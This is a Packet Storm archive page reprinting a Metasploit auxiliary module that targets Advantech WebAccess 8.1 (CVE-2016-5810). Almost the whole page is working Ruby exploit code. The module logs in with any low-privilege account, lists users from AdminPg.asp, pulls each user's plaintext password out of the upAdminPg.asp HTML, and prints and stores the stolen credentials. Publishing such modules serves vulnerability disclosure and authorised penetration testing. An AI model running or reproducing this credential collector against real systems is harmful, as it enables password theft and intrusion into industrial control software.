exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Advantech WebAccess 8.1 Post Authentication Credential Collector

Advantech WebAccess 8.1 Post Authentication Credential Collector
Posted Aug 31, 2024
Authored by h00die, sinn3r | Site metasploit.com

This Metasploit module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials. Although authentication is required, any level of user permission can exploit this vulnerability. Note that 8.2 is not suitable for this.

tags | exploit
advisories | CVE-2016-5810
SHA-256 | 3443ef0bbc137d2d4553bf62cf7c34597cef839151197a57af51313d2174333e

Advantech WebAccess 8.1 Post Authentication Credential Collector

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Advantech WebAccess 8.1 Post Authentication Credential Collector",
'Description' => %q{
This module allows you to log into Advantech WebAccess 8.1, and collect all of the credentials.
Although authentication is required, any level of user permission can exploit this vulnerability.

Note that 8.2 is not suitable for this.
},
'License' => MSF_LICENSE,
'Author' =>
[
'h00die', # Pointed out the obvious during a PR review for CVE-2017-5154
'sinn3r', # Metasploit module
],
'References' =>
[
['CVE', '2016-5810'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/7859#issuecomment-274305229']
],
'DisclosureDate' => '2017-01-21'
))

register_options(
[
OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']),
OptString.new('WEBACCESSPASS', [false, 'Password for Advantech WebAccess', '']),
OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']),
])
end

def do_login
vprint_status("Attempting to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")

uri = normalize_uri(target_uri.path, 'broadweb', 'user', 'signin.asp')

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'vars_post' => {
'page' => '/',
'pos' => '',
'username' => datastore['WEBACCESSUSER'],
'password' => datastore['WEBACCESSPASS'],
'remMe' => '',
'submit1' => 'Login'
}
})

unless res
fail_with(Failure::Unknown, 'Connection timed out while trying to login')
end

if res.headers['Location'] && res.headers['Location'] == '/broadweb/bwproj.asp'
print_good("Logged in as #{datastore['WEBACCESSUSER']}")
report_cred(
user: datastore['WEBACCESSUSER'],
password: datastore['WEBACCESSPASS'],
status: Metasploit::Model::Login::Status::SUCCESSFUL
)
return res.get_cookies.scan(/(ASPSESSIONID\w+=\w+);/).flatten.first || ''
end

print_error("Unable to login as '#{datastore['WEBACCESSUSER']}:#{datastore['WEBACCESSPASS']}'")

nil
end

def get_user_cred_detail(sid, user)
vprint_status("Gathering password for user: #{user}")

uri = normalize_uri(target_uri.path, 'broadWeb','user', 'upAdminPg.asp')

res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => sid,
'vars_get' => {
'uname' => user
}
})

unless res
print_error("Unable to gather password for user #{user} due to a connection timeout")
return nil
end

html = res.get_html_document
pass_field = html.at('input[@name="Password"]')

pass_field ? pass_field.attributes['value'].text : nil
end

def get_users_page(sid)
vprint_status("Checking user page...")

uri = normalize_uri(target_uri.path, 'broadWeb', 'user', 'AdminPg.asp')

res = send_request_cgi({
'method' => 'GET',
'uri' => uri,
'cookie' => sid
})

unless res
fail_with(Failure::Unknown, 'Connection timed out while checking AdminPg.asp')
end

html = res.get_html_document

users = html.search('a').map { |a|
Rex::Text.uri_decode(a.attributes['href'].text.scan(/broadWeb\/user\/upAdminPg\.asp\?uname=(.+)/).flatten.first || '')
}.delete_if { |user| user.blank? }

users
end

def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: 'webaccess',
protocol: 'tcp',
workspace_id: myworkspace_id
}

credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)

login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: opts[:status],
proof: opts[:proof]
}.merge(service_data)

create_credential_login(login_data)
end

def run
cookie = do_login
users = get_users_page(cookie)

users.each do |user|
pass = get_user_cred_detail(cookie, user)

if pass
report_cred(
user: user,
password: pass,
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: 'AdminPg.asp'
)

print_good("Found password: #{user}:#{pass}")
end
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close